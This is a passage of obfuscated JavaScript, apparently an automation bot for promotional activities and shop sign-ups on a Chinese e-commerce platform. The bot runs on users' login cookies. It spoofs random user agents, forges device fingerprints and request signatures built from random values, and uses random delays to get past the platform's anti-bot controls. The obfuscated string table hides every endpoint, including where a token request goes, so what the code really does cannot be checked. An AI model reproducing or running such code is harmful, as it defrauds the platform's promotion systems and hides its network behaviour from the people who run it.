{console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x59]}${$[__Oxe8e4a[0x48]]}${__Oxe8e4a[0x0]}`)};if($[__Oxe8e4a[0x5a]]< $[__Oxe8e4a[0x5b]]){console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x5c]}`); await takePostRequest(__Oxe8e4a[0x5d]);for(let _0x99e4xf of $[__Oxe8e4a[0x5e]]){if(_0x99e4xf[__Oxe8e4a[0x5f]]== false){console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x60]}${_0x99e4xf[__Oxe8e4a[0x61]]}${__Oxe8e4a[0x0]}`);$[__Oxe8e4a[0x61]]= _0x99e4xf[__Oxe8e4a[0x61]]; await takePostRequest(__Oxe8e4a[0x62]); await $[__Oxe8e4a[0x4c]](parseInt(Math[__Oxe8e4a[0x55]]()* 1000+ 500))}else {console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x63]}${_0x99e4xf[__Oxe8e4a[0x61]]}${__Oxe8e4a[0x0]}`)};if($[__Oxe8e4a[0x64]]== $[__Oxe8e4a[0x5b]]){break}}; await takePostRequest(__Oxe8e4a[0x65])}else {console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x66]}`)}; await $[__Oxe8e4a[0x4c]](parseInt(Math[__Oxe8e4a[0x55]]()* 1500+ 1000,10))}catch(e){console[__Oxe8e4a[0xb]](e)}}async function takePostRequest(_0x99e4x11){if($[__Oxe8e4a[0x15]]){return};let _0x99e4x12=__Oxe8e4a[0x67];let _0x99e4x13=`${__Oxe8e4a[0x0]}`;let _0x99e4x14=__Oxe8e4a[0x68];let _0x99e4x15=__Oxe8e4a[0x0];switch(_0x99e4x11){case __Oxe8e4a[0x3b]:url= `${__Oxe8e4a[0x69]}`;_0x99e4x13= await getToken();break;case __Oxe8e4a[0x3e]:url= `${__Oxe8e4a[0x6a]}`;_0x99e4x13= `${__Oxe8e4a[0x6b]}${$[__Oxe8e4a[0x21]]}${__Oxe8e4a[0x0]}`;break;case __Oxe8e4a[0x3f]:url= `${__Oxe8e4a[0x6c]}`;_0x99e4x13= `${__Oxe8e4a[0x6d]}${$[__Oxe8e4a[0x48]]}${__Oxe8e4a[0x6e]}${$[__Oxe8e4a[0x39]]}${__Oxe8e4a[0x6f]}`;break;case __Oxe8e4a[0x41]:url= __Oxe8e4a[0x70];_0x99e4x13= `${__Oxe8e4a[0x6b]}${$[__Oxe8e4a[0x21]]}${__Oxe8e4a[0x71]}${encodeURIComponent(encodeURIComponent($.Pin))}${__Oxe8e4a[0x0]}`;break;case __Oxe8e4a[0x44]:url= `${__Oxe8e4a[0x72]}`;_0x99e4x13= `${__Oxe8e4a[0x6b]}${$[__Oxe8e4a[0x21]]}${__Oxe8e4a[0x0]}`;break;case __Oxe8e4a[0x76]:url= `${__Oxe8e4a[0x73]}`;_0x99e4x13= `${__Oxe8e4a[0x6b]}${$[__Oxe8e4a[0x21]]}${__Oxe8e4a[0x74]}${$[__Oxe8e4a[0x75]]}${__Oxe8e4a[0x71]}${encodeURIComponent(encodeURIComponent($.Pin))}${__Oxe8e4a[0x0]}`;break;case __Oxe8e4a[0x49]:url= `${__Oxe8e4a[0x77]}`;_0x99e4x13= `${__Oxe8e4a[0x78]}${encodeURIComponent(encodeURIComponent($.Pin))}${__Oxe8e4a[0x0]}`;break;case __Oxe8e4a[0x4a]:url= `${__Oxe8e4a[0x79]}`;let _0x99e4x16=`${__Oxe8e4a[0x7a]}${$[__Oxe8e4a[0x22]]}${__Oxe8e4a[0x25]}${$[__Oxe8e4a[0x21]]}${__Oxe8e4a[0x7b]}`;_0x99e4x13= `${__Oxe8e4a[0x7c]}${$[__Oxe8e4a[0x7d]]}${__Oxe8e4a[0x7e]}${$[__Oxe8e4a[0x75]]}${__Oxe8e4a[0x71]}${encodeURIComponent(encodeURIComponent($.Pin))}${__Oxe8e4a[0x7f]}${$[__Oxe8e4a[0x21]]}${__Oxe8e4a[0x80]}${encodeURIComponent(_0x99e4x16)}${__Oxe8e4a[0x81]}`;break;case __Oxe8e4a[0x4b]:url= `${__Oxe8e4a[0x82]}`;_0x99e4x13= `${__Oxe8e4a[0x7c]}${$[__Oxe8e4a[0x7d]]}${__Oxe8e4a[0x83]}${encodeURIComponent(encodeURIComponent($.Pin))}${__Oxe8e4a[0x84]}${$[__Oxe8e4a[0x75]]}${__Oxe8e4a[0x0]}`;break;case __Oxe8e4a[0x5d]:url= `${__Oxe8e4a[0x85]}`;_0x99e4x13= `${__Oxe8e4a[0x6b]}${$[__Oxe8e4a[0x21]]}${__Oxe8e4a[0x86]}${$[__Oxe8e4a[0x7d]]}${__Oxe8e4a[0x83]}${encodeURIComponent(encodeURIComponent($.Pin))}${__Oxe8e4a[0x84]}${$[__Oxe8e4a[0x75]]}${__Oxe8e4a[0x0]}`;break;case __Oxe8e4a[0x62]:url= `${__Oxe8e4a[0x87]}`;_0x99e4x13= `${__Oxe8e4a[0x6b]}${$[__Oxe8e4a[0x21]]}${__Oxe8e4a[0x71]}${encodeURIComponent(encodeURIComponent($.Pin))}${__Oxe8e4a[0x88]}${$[__Oxe8e4a[0x61]]}${__Oxe8e4a[0x0]}`;break;case __Oxe8e4a[0x65]:url= `${__Oxe8e4a[0x89]}`;_0x99e4x13= `${__Oxe8e4a[0x6b]}${$[__Oxe8e4a[0x21]]}${__Oxe8e4a[0x71]}${encodeURIComponent(encodeURIComponent($.Pin))}${__Oxe8e4a[0x0]}`;break;default:console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x8a]}${_0x99e4x11}${__Oxe8e4a[0x0]}`)};if(_0x99e4x11== __Oxe8e4a[0x3b]){url= url}else {url= __Oxe8e4a[0x67]+ url};let _0x99e4x17=getPostRequest(url,_0x99e4x13,_0x99e4x14); await $[__Oxe8e4a[0x4c]](parseInt(Math[__Oxe8e4a[0x55]]()* 500+ 500,10));return new Promise(async (_0x99e4x18)=>{$[__Oxe8e4a[0x90]](_0x99e4x17,(_0x99e4x19,_0x99e4x1a,_0x99e4x1b)=>{try{setActivityCookie(_0x99e4x1a);if(_0x99e4x19){if(_0x99e4x1a&& typeof _0x99e4x1a[__Oxe8e4a[0x8b]]!= __Oxe8e4a[0x8c]){if(_0x99e4x1a[__Oxe8e4a[0x8b]]== 493){console[__Oxe8e4a[0xb]](__Oxe8e4a[0x8d]);$[__Oxe8e4a[0x15]]= true}};console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x0]}${$[__Oxe8e4a[0x8e]](_0x99e4x19,_0x99e4x19)}${__Oxe8e4a[0x0]}`);console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x0]}${_0x99e4x11}${__Oxe8e4a[0x8f]}`)}else {dealReturn(_0x99e4x11,_0x99e4x1b)}}catch(e){console[__Oxe8e4a[0xb]](e,_0x99e4x1a)}finally{_0x99e4x18()}})})}async function dealReturn(_0x99e4x11,_0x99e4x1b){let _0x99e4x1d=__Oxe8e4a[0x0];try{if(_0x99e4x11!= __Oxe8e4a[0x91]|| _0x99e4x11!= __Oxe8e4a[0x92]){if(_0x99e4x1b){_0x99e4x1d= JSON[__Oxe8e4a[0x93]](_0x99e4x1b)}}}catch(e){console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x0]}${_0x99e4x11}${__Oxe8e4a[0x94]}`);$[__Oxe8e4a[0x95]]= false};try{switch(_0x99e4x11){case __Oxe8e4a[0x3b]:if( typeof _0x99e4x1d== __Oxe8e4a[0x96]){if(_0x99e4x1d[__Oxe8e4a[0x97]]== 0){if( typeof _0x99e4x1d[__Oxe8e4a[0x98]]!= __Oxe8e4a[0x8c]){$[__Oxe8e4a[0x39]]= _0x99e4x1d[__Oxe8e4a[0x98]]}}else {if(_0x99e4x1d[__Oxe8e4a[0x99]]){console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x9a]}${_0x99e4x1d[__Oxe8e4a[0x99]]|| __Oxe8e4a[0x0]}${__Oxe8e4a[0x0]}`)}else {console[__Oxe8e4a[0xb]](_0x99e4x1b)}}}else {console[__Oxe8e4a[0xb]](_0x99e4x1b)};break;case __Oxe8e4a[0x3e]:if(_0x99e4x1d[__Oxe8e4a[0x9b]]== true&& _0x99e4x1d[__Oxe8e4a[0x9c]]){$[__Oxe8e4a[0x21]]= _0x99e4x1d[__Oxe8e4a[0x9c]][__Oxe8e4a[0x21]];$[__Oxe8e4a[0x75]]= _0x99e4x1d[__Oxe8e4a[0x9c]][__Oxe8e4a[0x75]];$[__Oxe8e4a[0x9d]]= _0x99e4x1d[__Oxe8e4a[0x9c]][__Oxe8e4a[0x9d]];$[__Oxe8e4a[0x9e]]= _0x99e4x1d[__Oxe8e4a[0x9c]][__Oxe8e4a[0x9e]];$[__Oxe8e4a[0x7d]]= _0x99e4x1d[__Oxe8e4a[0x9c]][__Oxe8e4a[0x7d]]};break;case __Oxe8e4a[0x3f]:if(_0x99e4x1d[__Oxe8e4a[0x9b]]== true&& _0x99e4x1d[__Oxe8e4a[0x9c]]){$[__Oxe8e4a[0x3a]]= _0x99e4x1d[__Oxe8e4a[0x9c]][__Oxe8e4a[0x9f]];$[__Oxe8e4a[0xa0]]= _0x99e4x1d[__Oxe8e4a[0x9c]][__Oxe8e4a[0xa1]]};break;case __Oxe8e4a[0x41]:if(_0x99e4x1d[__Oxe8e4a[0x9b]]== true&& _0x99e4x1d[__Oxe8e4a[0x9c]]){$[__Oxe8e4a[0x5e]]= _0x99e4x1d[__Oxe8e4a[0x9c]][__Oxe8e4a[0x5e]];$[__Oxe8e4a[0x5a]]= _0x99e4x1d[__Oxe8e4a[0x9c]][__Oxe8e4a[0x5a]];$[__Oxe8e4a[0x5b]]= _0x99e4x1d[__Oxe8e4a[0x9c]][__Oxe8e4a[0x5b]];$[__Oxe8e4a[0x43]]= _0x99e4x1d[__Oxe8e4a[0x9c]][__Oxe8e4a[0x43]]};break;case __Oxe8e4a[0x44]:if(_0x99e4x1d[__Oxe8e4a[0x9b]]== true&& _0x99e4x1d[__Oxe8e4a[0x9c]]){$[__Oxe8e4a[0x46]]= _0x99e4x1d[__Oxe8e4a[0x9c]][__Oxe8e4a[0x46]]};break;case __Oxe8e4a[0x76]:break;case __Oxe8e4a[0x49]:break;case __Oxe8e4a[0x4a]:console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0xa2]}${_0x99e4x1b}${__Oxe8e4a[0x0]}`);break;case __Oxe8e4a[0x4b]:if(_0x99e4x1d[__Oxe8e4a[0x9b]]== true&& _0x99e4x1d[__Oxe8e4a[0x9c]]){$[__Oxe8e4a[0x4d]]= _0x99e4x1d[__Oxe8e4a[0x9c]][__Oxe8e4a[0x4d]]};break;case __Oxe8e4a[0x5d]:console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0xa3]}${_0x99e4x1b}${__Oxe8e4a[0x0]}`);break;case __Oxe8e4a[0x62]:if(_0x99e4x1d[__Oxe8e4a[0x9b]]== true&& _0x99e4x1d[__Oxe8e4a[0x9c]]){$[__Oxe8e4a[0x64]]= _0x99e4x1d[__Oxe8e4a[0x9c]][__Oxe8e4a[0x64]];console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0xa4]}${_0x99e4x1d[__Oxe8e4a[0x9c]][__Oxe8e4a[0x64]]}${__Oxe8e4a[0x0]}`)};break;case __Oxe8e4a[0x65]:if(_0x99e4x1d[__Oxe8e4a[0x9b]]== true&& _0x99e4x1d[__Oxe8e4a[0x9c]]){$[__Oxe8e4a[0xa5]]= _0x99e4x1d[__Oxe8e4a[0x9c]][__Oxe8e4a[0x1c]]?_0x99e4x1d[__Oxe8e4a[0x9c]][__Oxe8e4a[0x1c]]:__Oxe8e4a[0xa6];console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0xa7]}${$[__Oxe8e4a[0xa5]]}${__Oxe8e4a[0x0]}`)}else {console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0xa8]}`)};break;default:console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x0]}${_0x99e4x11}${__Oxe8e4a[0xa9]}${_0x99e4x1b}${__Oxe8e4a[0x0]}`);break};if( typeof _0x99e4x1d== __Oxe8e4a[0x96]){if(_0x99e4x1d[__Oxe8e4a[0xaa]]){if(_0x99e4x1d[__Oxe8e4a[0xaa]][__Oxe8e4a[0x51]](__Oxe8e4a[0xab])> -1){$[__Oxe8e4a[0x14]]= true}}}}catch(e){console[__Oxe8e4a[0xb]](e)}}function getPostRequest(_0x99e4x1f,_0x99e4x13,_0x99e4x14= __Oxe8e4a[0x68]){let _0x99e4x20={"\x41\x63\x63\x65\x70\x74":__Oxe8e4a[0xac],"\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67":__Oxe8e4a[0xad],"\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65":__Oxe8e4a[0xae],"\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E":__Oxe8e4a[0xaf],"\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65":__Oxe8e4a[0xb0],"\x43\x6F\x6F\x6B\x69\x65":cookie,"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":$[__Oxe8e4a[0xb1]],"\x58\x2D\x52\x65\x71\x75\x65\x73\x74\x65\x64\x2D\x57\x69\x74\x68":__Oxe8e4a[0xb2]};if(_0x99e4x1f[__Oxe8e4a[0x51]](__Oxe8e4a[0x67])> -1){_0x99e4x20[__Oxe8e4a[0xb3]]= `${__Oxe8e4a[0x7a]}${$[__Oxe8e4a[0x22]]}${__Oxe8e4a[0x25]}${$[__Oxe8e4a[0x21]]}${__Oxe8e4a[0x7b]}`;_0x99e4x20[__Oxe8e4a[0xb4]]= `${__Oxe8e4a[0x0]}${activityCookie}${__Oxe8e4a[0xb5]}${$[__Oxe8e4a[0x3a]]}${__Oxe8e4a[0x0]}`}else {_0x99e4x20[__Oxe8e4a[0xb4]]= cookie};return {url:_0x99e4x1f,method:_0x99e4x14,headers:_0x99e4x20,body:_0x99e4x13,timeout:30000}}function getCk(){return new Promise((_0x99e4x18)=>{let _0x99e4x22={url:`${__Oxe8e4a[0x7a]}${$[__Oxe8e4a[0x22]]}${__Oxe8e4a[0x25]}${$[__Oxe8e4a[0x21]]}${__Oxe8e4a[0x7b]}`,headers:{"\x41\x63\x63\x65\x70\x74":__Oxe8e4a[0xb6],"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":$[__Oxe8e4a[0xb1]],"\x58\x2D\x52\x65\x71\x75\x65\x73\x74\x65\x64\x2D\x57\x69\x74\x68":__Oxe8e4a[0xb7]},timeout:30000};$[__Oxe8e4a[0xba]](_0x99e4x22,async (_0x99e4x19,_0x99e4x1a,_0x99e4x1b)=>{try{if(_0x99e4x19){if(_0x99e4x1a&& typeof _0x99e4x1a[__Oxe8e4a[0x8b]]!= __Oxe8e4a[0x8c]){if(_0x99e4x1a[__Oxe8e4a[0x8b]]== 493){console[__Oxe8e4a[0xb]](__Oxe8e4a[0x8d]);$[__Oxe8e4a[0x15]]= true}};console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x0]}${$[__Oxe8e4a[0x8e]](_0x99e4x19)}${__Oxe8e4a[0x0]}`);console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x0]}${$[__Oxe8e4a[0x1c]]}${__Oxe8e4a[0xb8]}`)}else {let _0x99e4x23=_0x99e4x1b[__Oxe8e4a[0x28]](/(活动已经结束)/)&& _0x99e4x1b[__Oxe8e4a[0x28]](/(活动已经结束)/)[0x1]|| __Oxe8e4a[0x0];if(_0x99e4x23){$[__Oxe8e4a[0x16]]= true;console[__Oxe8e4a[0xb]](__Oxe8e4a[0xb9])};$[__Oxe8e4a[0x48]]= _0x99e4x1b[__Oxe8e4a[0x28]](//)[0x1]|| __Oxe8e4a[0x0];setActivityCookie(_0x99e4x1a)}}catch(e){$[__Oxe8e4a[0x1a]](e,_0x99e4x1a)}finally{_0x99e4x18()}})})}function getActInfo(){return new Promise((_0x99e4x18)=>{let _0x99e4x22={url:`${__Oxe8e4a[0x0]}${$[__Oxe8e4a[0xbb]]}${__Oxe8e4a[0x0]}`,followRedirect:false,headers:{"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":$[__Oxe8e4a[0xb1]],'\x52\x65\x66\x65\x72\x65\x72':$[__Oxe8e4a[0x21]]},timeout:30000};$[__Oxe8e4a[0xba]](_0x99e4x22,async (_0x99e4x19,_0x99e4x1a,_0x99e4x1b)=>{try{if(_0x99e4x19){}else {}}catch(e){$[__Oxe8e4a[0x1a]](e,_0x99e4x1a)}finally{_0x99e4x18()}})})}function setActivityCookie(_0x99e4x1a){if(_0x99e4x1a[__Oxe8e4a[0xbd]][__Oxe8e4a[0xbc]]){cookie= originCookie+ __Oxe8e4a[0xbe];for(let _0x99e4x26 of _0x99e4x1a[__Oxe8e4a[0xbd]][__Oxe8e4a[0xbc]]){lz_cookie[_0x99e4x26[__Oxe8e4a[0xc0]](__Oxe8e4a[0xbe])[0x0][__Oxe8e4a[0xc1]](0,_0x99e4x26[__Oxe8e4a[0xc0]](__Oxe8e4a[0xbe])[0x0][__Oxe8e4a[0x51]](__Oxe8e4a[0xbf]))]= _0x99e4x26[__Oxe8e4a[0xc0]](__Oxe8e4a[0xbe])[0x0][__Oxe8e4a[0xc1]](_0x99e4x26[__Oxe8e4a[0xc0]](__Oxe8e4a[0xbe])[0x0][__Oxe8e4a[0x51]](__Oxe8e4a[0xbf])+ 1)};for(const _0x99e4x27 of Object[__Oxe8e4a[0x8]](lz_cookie)){cookie+= (_0x99e4x27+ __Oxe8e4a[0xbf]+ lz_cookie[_0x99e4x27]+ __Oxe8e4a[0xbe])};activityCookie= cookie}}async function getUA(){$[__Oxe8e4a[0xb1]]= `${__Oxe8e4a[0xc2]}${randomString(40)}${__Oxe8e4a[0xc3]}`}function randomString(_0x99e4xa){_0x99e4xa= _0x99e4xa|| 32;let _0x99e4x2a=__Oxe8e4a[0xc4],_0x99e4x2b=_0x99e4x2a[__Oxe8e4a[0x26]],_0x99e4x2c=__Oxe8e4a[0x0];for(i= 0;i< _0x99e4xa;i++){_0x99e4x2c+= _0x99e4x2a[__Oxe8e4a[0xc6]](Math[__Oxe8e4a[0xc5]](Math[__Oxe8e4a[0x55]]()* _0x99e4x2b))};return _0x99e4x2c}function jsonParse(_0x99e4x2e){if( typeof _0x99e4x2e== __Oxe8e4a[0xc7]){try{return JSON[__Oxe8e4a[0x93]](_0x99e4x2e)}catch(e){console[__Oxe8e4a[0xb]](e);$[__Oxe8e4a[0x1f]]($[__Oxe8e4a[0x1c]],__Oxe8e4a[0x0],__Oxe8e4a[0xc8]);return []}}}function checkCookie(){const _0x99e4x30={url:__Oxe8e4a[0xc9],headers:{"\x48\x6F\x73\x74":__Oxe8e4a[0xca],"\x41\x63\x63\x65\x70\x74":__Oxe8e4a[0xcb],"\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E":__Oxe8e4a[0xaf],"\x43\x6F\x6F\x6B\x69\x65":cookie,"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":__Oxe8e4a[0xcc],"\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65":__Oxe8e4a[0xae],"\x52\x65\x66\x65\x72\x65\x72":__Oxe8e4a[0xcd],"\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67":__Oxe8e4a[0xad]}};return new Promise((_0x99e4x18)=>{$[__Oxe8e4a[0xba]](_0x99e4x30,(_0x99e4x19,_0x99e4x1a,_0x99e4x1b)=>{try{if(_0x99e4x19){$[__Oxe8e4a[0x1a]](_0x99e4x19)}else {if(_0x99e4x1b){_0x99e4x1b= JSON[__Oxe8e4a[0x93]](_0x99e4x1b);if(_0x99e4x1b[__Oxe8e4a[0xce]]== __Oxe8e4a[0xcf]){$[__Oxe8e4a[0x2c]]= false;return}else {$[__Oxe8e4a[0x2c]]= true;return};if(_0x99e4x1b[__Oxe8e4a[0xce]]=== __Oxe8e4a[0xd0]&& _0x99e4x1b[__Oxe8e4a[0x9c]][__Oxe8e4a[0xd2]](__Oxe8e4a[0xd1])){$[__Oxe8e4a[0x2b]]= _0x99e4x1b[__Oxe8e4a[0x9c]][__Oxe8e4a[0xd1]][__Oxe8e4a[0xd4]][__Oxe8e4a[0xd3]]}}else {$[__Oxe8e4a[0xb]](__Oxe8e4a[0xd5])}}}catch(e){$[__Oxe8e4a[0x1a]](e)}finally{_0x99e4x18()}})})}function random(_0x99e4x32,_0x99e4x33){return Math[__Oxe8e4a[0xc5]](Math[__Oxe8e4a[0x55]]()* (_0x99e4x33- _0x99e4x32))+ _0x99e4x32}function getToken(){return new Promise((_0x99e4x18)=>{$[__Oxe8e4a[0xba]]({url:`${__Oxe8e4a[0xd6]}`,headers:{"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":__Oxe8e4a[0xd7]},timeout:30000},(_0x99e4x19,_0x99e4x1a,_0x99e4x1b)=>{try{if(_0x99e4x19){console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0xd8]}`)}else {_0x99e4x1b= JSON[__Oxe8e4a[0x93]](_0x99e4x1b);if(_0x99e4x1b[__Oxe8e4a[0xd9]]== 0){_0x99e4x1b= _0x99e4x1b[__Oxe8e4a[0x9c]]}else {_0x99e4x1b= __Oxe8e4a[0x0]}}}catch(e){$[__Oxe8e4a[0x1a]](e,_0x99e4x1a)}finally{_0x99e4x18(_0x99e4x1b|| __Oxe8e4a[0x0])}})})}async function joinShop(){if(!$[__Oxe8e4a[0x4f]]){return};return new Promise(async (_0x99e4x18)=>{$[__Oxe8e4a[0x52]]= __Oxe8e4a[0x50];let _0x99e4x36=`${__Oxe8e4a[0x0]}`; await getshopactivityId();if($[__Oxe8e4a[0xda]]){_0x99e4x36= `${__Oxe8e4a[0xdb]}${$[__Oxe8e4a[0xda]]}${__Oxe8e4a[0x0]}`};let _0x99e4x13=`${__Oxe8e4a[0xdc]}${$[__Oxe8e4a[0x4f]]}${__Oxe8e4a[0xdd]}${_0x99e4x36}${__Oxe8e4a[0xde]}`;let _0x99e4x37=__Oxe8e4a[0x0];_0x99e4x37= await geth5st();const _0x99e4x30={url:`${__Oxe8e4a[0xdf]}${_0x99e4x13}${__Oxe8e4a[0xe0]}${_0x99e4x37}${__Oxe8e4a[0x0]}`,headers:{'\x61\x63\x63\x65\x70\x74':__Oxe8e4a[0xcb],'\x61\x63\x63\x65\x70\x74\x2D\x65\x6E\x63\x6F\x64\x69\x6E\x67':__Oxe8e4a[0xad],'\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65':__Oxe8e4a[0xe1],'\x63\x6F\x6F\x6B\x69\x65':cookie,'\x6F\x72\x69\x67\x69\x6E':__Oxe8e4a[0xe2],'\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74':$[__Oxe8e4a[0xb1]]}}; await $[__Oxe8e4a[0x4c]](500);$[__Oxe8e4a[0xba]](_0x99e4x30,async (_0x99e4x19,_0x99e4x1a,_0x99e4x1b)=>{try{_0x99e4x1b= _0x99e4x1b&& _0x99e4x1b[__Oxe8e4a[0x28]](/jsonp_.*?\((.*?)\);/)&& _0x99e4x1b[__Oxe8e4a[0x28]](/jsonp_.*?\((.*?)\);/)[0x1]|| _0x99e4x1b;let _0x99e4x1d=$[__Oxe8e4a[0xe3]](_0x99e4x1b,_0x99e4x1b);if(_0x99e4x1d&& typeof _0x99e4x1d== __Oxe8e4a[0x96]){if(_0x99e4x1d&& _0x99e4x1d[__Oxe8e4a[0xe4]]=== true){console[__Oxe8e4a[0xb]](_0x99e4x1d[__Oxe8e4a[0x99]]);$[__Oxe8e4a[0x52]]= _0x99e4x1d[__Oxe8e4a[0x99]];if(_0x99e4x1d[__Oxe8e4a[0x9b]]&& _0x99e4x1d[__Oxe8e4a[0x9b]][__Oxe8e4a[0xe5]]){for(let _0x99e4xb of _0x99e4x1d[__Oxe8e4a[0x9b]][__Oxe8e4a[0xe5]][__Oxe8e4a[0xe6]]){console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0xe7]}${_0x99e4xb[__Oxe8e4a[0xe8]]}${__Oxe8e4a[0x0]}${_0x99e4xb[__Oxe8e4a[0xe9]]}${__Oxe8e4a[0x0]}${_0x99e4xb[__Oxe8e4a[0xea]]}${__Oxe8e4a[0x0]}`)}}}else {if(_0x99e4x1d&& typeof _0x99e4x1d== __Oxe8e4a[0x96]&& _0x99e4x1d[__Oxe8e4a[0x99]]){$[__Oxe8e4a[0x52]]= _0x99e4x1d[__Oxe8e4a[0x99]];console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x0]}${_0x99e4x1d[__Oxe8e4a[0x99]]|| __Oxe8e4a[0x0]}${__Oxe8e4a[0x0]}`)}else {console[__Oxe8e4a[0xb]](_0x99e4x1b)}}}else {console[__Oxe8e4a[0xb]](_0x99e4x1b)}}catch(e){$[__Oxe8e4a[0x1a]](e,_0x99e4x1a)}finally{_0x99e4x18()}})})}async function getshopactivityId(){return new Promise(async (_0x99e4x18)=>{let _0x99e4x13=`${__Oxe8e4a[0xdc]}${$[__Oxe8e4a[0x4f]]}${__Oxe8e4a[0xeb]}`;let _0x99e4x37=`${__Oxe8e4a[0x0]}${ new Date(Date[__Oxe8e4a[0xed]]()).Format(__Oxe8e4a[0xec])}${__Oxe8e4a[0xbe]}${generateFp()}${__Oxe8e4a[0xee]}${Date[__Oxe8e4a[0xed]]()}${__Oxe8e4a[0x0]}`;_0x99e4x37= encodeURIComponent(_0x99e4x37);const _0x99e4x30={url:`${__Oxe8e4a[0xef]}${_0x99e4x13}${__Oxe8e4a[0xe0]}${_0x99e4x37}${__Oxe8e4a[0x0]}`,headers:{'\x61\x63\x63\x65\x70\x74':__Oxe8e4a[0xcb],'\x61\x63\x63\x65\x70\x74\x2D\x65\x6E\x63\x6F\x64\x69\x6E\x67':__Oxe8e4a[0xad],'\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65':__Oxe8e4a[0xe1],'\x63\x6F\x6F\x6B\x69\x65':cookie,'\x6F\x72\x69\x67\x69\x6E':__Oxe8e4a[0xe2],'\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74':$[__Oxe8e4a[0xb1]]}}; await $[__Oxe8e4a[0x4c]](500);$[__Oxe8e4a[0xba]](_0x99e4x30,async (_0x99e4x19,_0x99e4x1a,_0x99e4x1b)=>{try{_0x99e4x1b= _0x99e4x1b&& _0x99e4x1b[__Oxe8e4a[0x28]](/jsonp_.*?\((.*?)\);/)&& _0x99e4x1b[__Oxe8e4a[0x28]](/jsonp_.*?\((.*?)\);/)[0x1]|| _0x99e4x1b;let _0x99e4x1d=$[__Oxe8e4a[0xe3]](_0x99e4x1b,_0x99e4x1b);if(_0x99e4x1d&& typeof _0x99e4x1d== __Oxe8e4a[0x96]){if(_0x99e4x1d&& _0x99e4x1d[__Oxe8e4a[0xe4]]== true){console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0xf0]}${_0x99e4x1d[__Oxe8e4a[0x9b]][0x0][__Oxe8e4a[0xf2]][__Oxe8e4a[0xf1]]|| __Oxe8e4a[0x0]}${__Oxe8e4a[0x0]}`);$[__Oxe8e4a[0xda]]= _0x99e4x1d[__Oxe8e4a[0x9b]][0x0][__Oxe8e4a[0xf3]]&& _0x99e4x1d[__Oxe8e4a[0x9b]][0x0][__Oxe8e4a[0xf3]][0x0]&& _0x99e4x1d[__Oxe8e4a[0x9b]][0x0][__Oxe8e4a[0xf3]][0x0][__Oxe8e4a[0xf4]]&& _0x99e4x1d[__Oxe8e4a[0x9b]][0x0][__Oxe8e4a[0xf3]][0x0][__Oxe8e4a[0xf4]][__Oxe8e4a[0x21]]|| __Oxe8e4a[0x0]}}else {console[__Oxe8e4a[0xb]](_0x99e4x1b)}}catch(e){$[__Oxe8e4a[0x1a]](e,_0x99e4x1a)}finally{_0x99e4x18()}})})}function generateFp(){let _0x99e4xa=__Oxe8e4a[0xf5];let _0x99e4x2b=13;let _0x99e4xb=__Oxe8e4a[0x0];for(;_0x99e4x2b--;){_0x99e4xb+= _0x99e4xa[Math[__Oxe8e4a[0x55]]()* _0x99e4xa[__Oxe8e4a[0x26]]| 0]};return (_0x99e4xb+ Date[__Oxe8e4a[0xed]]())[__Oxe8e4a[0xf6]](0,16)}function geth5st(){let _0x99e4x3b=Date[__Oxe8e4a[0xed]]();let _0x99e4x3c=generateFp();let _0x99e4x3d= new Date(_0x99e4x3b).Format(__Oxe8e4a[0xec]);let _0x99e4x3e=__Oxe8e4a[0x0];let _0x99e4x3f=__Oxe8e4a[0x0];let _0x99e4x40=[__Oxe8e4a[0xf7],__Oxe8e4a[0xf8],__Oxe8e4a[0xf9]];let _0x99e4x41=_0x99e4x40[random(0,_0x99e4x40[__Oxe8e4a[0x26]])];return encodeURIComponent(_0x99e4x3d+ __Oxe8e4a[0xbe]+ _0x99e4x41+ _0x99e4x3c+ __Oxe8e4a[0x0]+ Date[__Oxe8e4a[0xed]]())}function getH5st(){let _0x99e4x3b=Date[__Oxe8e4a[0xed]]();let _0x99e4x3c=generateFp();let _0x99e4x3d= new Date(_0x99e4x3b).Format(__Oxe8e4a[0xec]);return encodeURIComponent(_0x99e4x3d+ __Oxe8e4a[0xbe]+ __Oxe8e4a[0x0]+ _0x99e4x3c+ __Oxe8e4a[0xf8]+ Date[__Oxe8e4a[0xed]]())}Date[__Oxe8e4a[0xfb]][__Oxe8e4a[0xfa]]= function(_0x99e4x43){var 